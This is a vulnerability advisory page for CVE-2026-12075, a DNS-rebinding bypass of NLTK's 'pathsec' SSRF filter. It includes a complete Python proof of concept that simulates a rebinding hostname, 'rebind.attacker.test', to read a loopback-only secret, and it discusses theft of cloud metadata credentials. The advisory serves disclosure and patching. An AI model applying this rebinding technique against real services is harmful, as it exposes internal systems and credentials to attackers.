8.6
HIGH CVSS 3.1
CVE-2026-12075
NLTK Server-Side Request Forgery via DNS Rebinding
Description

### Summary `nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`. ### Details `urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` → `socket.create_connection` → `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches: 1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.) 2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.) `_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not. ### PoC ```python import socket import threading import warnings from collections import defaultdict from http.server import BaseHTTPRequestHandler, HTTPServer warnings.filterwarnings("ignore") import nltk import nltk.pathsec as ps ps.ENFORCE = True # the documented strict SSRF sandbox ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS" # --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) --- class _Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(SECRET))) self.end_headers() self.wfile.write(SECRET) def log_message(self, *a): pass def start_internal_server(): srv = HTTPServer(("127.0.0.1", 0), _Handler) threading.Thread(target=srv.serve_forever, daemon=True).start() return srv.server_address[1] # ephemeral port # --- Model the TTL-0 rebinding record at the resolver layer --- _real_getaddrinfo = socket.getaddrinfo _lookups = defaultdict(int) def _rebinding_getaddrinfo(host, port, *args, **kwargs): if host == ATTACKER_HOST: n = _lookups[host] _lookups[host] += 1 ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect) p = port if isinstance(port, int) else 0 kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback" print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})") return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))] return _real_getaddrinfo(host, port, *args, **kwargs) def fetch(url): with ps.urlopen(url, timeout=5) as r: return r.read() def main(): print("=" * 62) print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC") print(f" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}") print("=" * 62) port = start_internal_server() print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n") socket.getaddrinfo = _rebinding_getaddrinfo ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process try: # ---- Control: a DIRECT loopback URL must be blocked by the filter ---- print("[1] CONTROL: direct loopback URL (filter must block this)") direct = f"http://127.0.0.1:{port}/" try: fetch(direct) print(f" [?] unexpected: {direct} was NOT blocked\n") control_ok = False except PermissionError as e: print(f" [OK] blocked -> PermissionError: {e}\n") control_ok = True # ---- Attack: rebinding hostname bypasses the same filter ---- print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)") evil = f"http://{ATTACKER_HOST}:{port}/" print(f" fetching {evil}") try: body = fetch(evil) leaked = SECRET in body print(f" body returned to caller: {body!r}") if leaked: print("\n [VULN] loopback-only secret exfiltrated through pathsec.urlopen") print(f" validated IP = {PUBLIC_IP} (public) but connected IP = 127.0.0.1") print(f" non-blind SSRF despite ENFORCE = {ps.ENFORCE}") verdict = "VULNERABLE" else: print("\n [?] fetch succeeded but secret marker not present") verdict = "INCONCLUSIVE" except PermissionError as e: # Patched build: validate against the connect-time IP (or pin/resolve-once). print(f"\n [SAFE] blocked -> PermissionError: {e}") verdict = "NOT VULNERABLE" finally: socket.getaddrinfo = _real_getaddrinfo print("\n" + "=" * 62) print(f" Control (direct loopback blocked): {control_ok}") print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})") print("=" * 62) if __name__ == "__main__": main() ``` ### Impact - **Full-response (non-blind) SSRF.** Because the fetched body is returned to the caller (e.g. `nltk.data.load` with `format="raw"`), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise. - **Bypass of an explicit security control.** It defeats the `nltk.pathsec` SSRF filter, including the `ENFORCE` mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the `lru_cache` annotation claiming to mitigate rebinding makes the false assurance worse.

INFO

Published Date :

July 31, 2026, 4:51 p.m.

Last Modified :

July 31, 2026, 4:51 p.m.

Remotely Exploit :

Yes !

Source :

github-security-advisories
Affected Products

The following products are affected by CVE-2026-12075 vulnerability. Even if cvefeed.io is aware of the exact versions of the products that are affected, the information is not represented in the table below.

ID Vendor Product Action
1 Nltk nltk
CVSS Scores
The Common Vulnerability Scoring System is a standardized framework for assessing the severity of vulnerabilities in software and systems. We collect and displays CVSS scores from various sources for each CVE.
Score Version Severity Vector Exploitability Score Impact Score Source
CVSS 3.1 HIGH github
Solution
Address DNS rebinding by ensuring hostname resolution is consistent and secure.
  • Update the NLTK library to the latest version.
  • Configure DNS to prevent rebinding attacks.
  • Implement a stricter network firewall.
  • Avoid resolving untrusted hostnames.
References to Advisories, Solutions, and Tools

Here, you will find a curated list of external links that provide in-depth information, practical solutions, and valuable tools related to CVE-2026-12075.

URL Resource
https://github.com/nltk/nltk/security/advisories/GHSA-qvv7-cg9c-w4x3
https://github.com/advisories/GHSA-qvv7-cg9c-w4x3
CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorizes the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-12075 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-12075 weaknesses.

We scan GitHub repositories to detect new proof-of-concept exploits. Following list is a collection of public exploits and proof-of-concepts, which have been published on GitHub (sorted by the most recently updated).

Results are limited to the first 15 repositories due to potential performance issues.

The following list is the news that have been mention CVE-2026-12075 vulnerability anywhere in the article.

EPSS is a daily estimate of the probability of exploitation activity being observed over the next 30 days. Following chart shows the EPSS score history of the vulnerability.